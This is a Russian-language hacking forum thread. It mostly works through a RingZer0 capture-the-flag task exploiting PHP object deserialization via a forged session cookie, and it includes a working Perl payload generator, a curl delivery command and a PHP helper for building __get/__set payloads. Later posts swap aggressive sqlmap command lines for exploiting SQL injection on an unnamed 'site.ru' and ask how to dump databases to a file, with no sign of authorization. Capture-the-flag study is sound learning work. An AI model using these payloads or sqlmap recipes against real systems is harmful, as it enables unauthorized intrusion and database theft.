спасибо за подсказку ненависть к создателю ArrayAccess переполняет моё сердце понимаю почему такое не хочется вспоминать
вопрос: как я понял это скуля Code: MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-510,10' at line 1 вызывается с помощью подстановки "-1" в пагинатор. Как раскрутить? sqlmap хватает 403ю и завершает работу
sqlmap что выдает? sqlmap.py -u "URL" ............. -v 5 Посмотри в каких случаях выкидывает 403, смотри что фильтруется
Затянуло меня это задание, второй день копаюсь Но скила не хватает, правильно ли я понимаю, что главная фишка в поведении ArrayAccess?
не то слово, я пару дней спать нормально не могу.. забрался далеко, но не достаточно( всё верно, фишка в ArrayAccess, маппер, который в конструкторе класса User Code: public function __construct() { parent::__construct($this, array( 'id' => array('type' => 'function', 'target' => 'id'), 'name' => array('type' => 'function', 'target' => 'name') )); } определяет какая функцию этого класса будет вызвана, причем передавать параметры в вызов мы не можем, ибо вызов у нас один в файле demo.php Code: $name = $user->name; // Getting the current user name маппер передаётся сериализованным от клиента, другими словами мы можем подделать вызов функции на нужную переопределив вызываемый класс, он хранится в GenericMapper( который отнаследован от ArrayAccess ) $this->realObject чего я смог добиться... отправляю класс User и класс Debug в дебаг классе переопределяю переменную debugStateName с _DEBUG на flag, затем вызываю через модифицированный маппер функцию debugStateName( которая в debug классе ) Code: public function getDebugState() { return $GLOBALS[$this->debugStateName]; } в итоге мы получаем в $name флаг Code: $name = $user->name; // Getting the current user name но подвох в том что $name нигде не выводится конечно мы можем вызвать showNice или show из дебаг класса, но вызов то подменить мы можем только один.. в общем я пока сам в тупике, могу скинуть рабочую версию скрипта, если нужно, который прокидывает в $name флаг
не могу понять где просчитался, что то упустил, в общем скрипт в спойлере если что Spoiler Code: добавил var_dump в своей копии $ cat demo.php | grep -B 3 var_dump // Pull request are welcome. $name = $user->name; // Getting the current user name var_dump($name); $ grep -rn flag all.php 10:$flag = 'FLAG-XXXXXXXXXXXX'; // Place your precious flag here ! сам скрипт #!/usr/bin/perl use strict; use warnings; use MIME::Base64; my $str = ' O:7:"Session":4:{ s:2:"id";s:13:"587e46015cc88"; s:5:"debug";O:5:"Debug":1:{s:21:"QQQDebugQQQdebugStateName";s:4:"flag";} s:4:"user";O:4:"User":5:{ s:10:"QQQUserQQQname";s:4:"zzzz"; s:8:"QQQUserQQQid";s:2:"qq"; s:24:"QQQGenericMapperQQQtempValue";s:8:"showNice"; s:18:"QQQGenericMapperQQQmap";a:3:{ s:2:"id";a:2:{s:4:"type";s:8:"function";s:6:"target";s:2:"id";} s:4:"name";a:2:{s:4:"type";s:8:"function";s:6:"target";s:13:"getDebugState";} s:13:"getDebugState";a:2:{s:4:"type";s:8:"function";s:6:"target";s:13:"getDebugState";} } s:25:"QQQGenericMapperQQQrealObject";r:3; } s:4:"data";a:0:{} } '; $str =~s/[\s\n]//g; $str =~s/QQQ/\0/g; $str = encode_base64($str,''); $str =~s/=/%3D/g; $str =~s/\+/%2B/g; unless($str=~/[a-zA-Z0-9\%]+/) { print "hmmm\n$str\n";exit;} #print "curl -s -k 'http://ringzer0team.com:10001/demo.php' -H 'Cookie: rop_session=$str' -H 'Authorization: Basic Y3RmOmN0ZjIwMTU='\n"; print "curl -s -k 'http://my-site-name.ru/demo.php' -H 'Cookie: rop_session=$str'\n"; вызов ~/quest$ perl rop2.pl | /bin/bash | grep FLAG string(17) "FLAG-XXXXXXXXXXXX"
Я точно в таком же положении От безнадёги перешёл в режим рандома, пока безрезультатно. Обратил внимание ещё на один момент, switch идёт без break-ов, если $type = 0;, в функции __set отработют оба кейса 'function' и 'property'. Пока не пойму имеет ли это какое либо отношение к цепочке. Таск действительно крутой, будем думать дальше
да ладно! ёмана это оно попробую с этим похимичить ------------------- хотя __set непонятно как вызвать..
У меня в тестовом скрипте жёсткая каша, хрен разберёшь Побыстрому накидал небольшой скрипт для вызова __get/__set, надеюсь разберёшься: Spoiler PHP: <?phpclass GenericMapper implements ArrayAccess{ private $map; private $realObject; public function __construct($realObject, $map) { $this->map = $map; $this->realObject = $realObject; } public function __set($name, $value) { } public function __get($name) { } public function offsetExists($name) { return isset($this->map[$name]); } public function offsetUnset($name) { throw new Exception('Not supported !'); } public function offsetSet($name, $value) { return $this->__set($name, $value); } public function offsetGet($name) { return $this->__get($name); }}class Debug { private $debugStateName = 'flag'; private $_instance = 'ccc';}class User extends GenericMapper{ private $name='aaa'; private $id='bbb'; public function __construct($realObject, $map) { parent::__construct($realObject, $map); }}class Session { }$o = new Session;$o->user = new User(new Debug, array('name' => array('type' => 'function', 'target' => 'showNice')));echo "\n__get:\n".urlencode(base64_encode(serialize($o)))."\n";$o = new User(new Debug, array('user' => array('type' => 'function', 'target' => 'showNice')));echo "\n__set:\n".urlencode(base64_encode(serialize($o)))."\n";?>
вопрос: Есть скуля, в пост запросе, вызываю Code: ./sqlmap.py --url "http://site.ru/" --data "[email protected]" --random-agent --dbms=mysql но sqlmap ее не находит, что бы раскрутить, если отправляю в ручную, к примеру [email protected]' скуля срабатывает. Есть решения?
Попробуй так! ./sqlmap.py -u http://site.ru/ --data="input1=[email protected]" --dbs --random-agent --dbms=mysql
Ага, а что говорит...? Ты извини, я тут приболел немного - гриппую, и, видимо, от этого мои телепатические способности угасли резко...
./sqlmap.py -u http://site.ru/ --data="input1=[email protected]" -p input1 --dbs --level 5 --risk 3 --threads 10 --hex
есть ли возможность в .sql или любой другой формат дампануть себе бд через sqlmap? Пробовал --dump .... но он только выводит все в консоль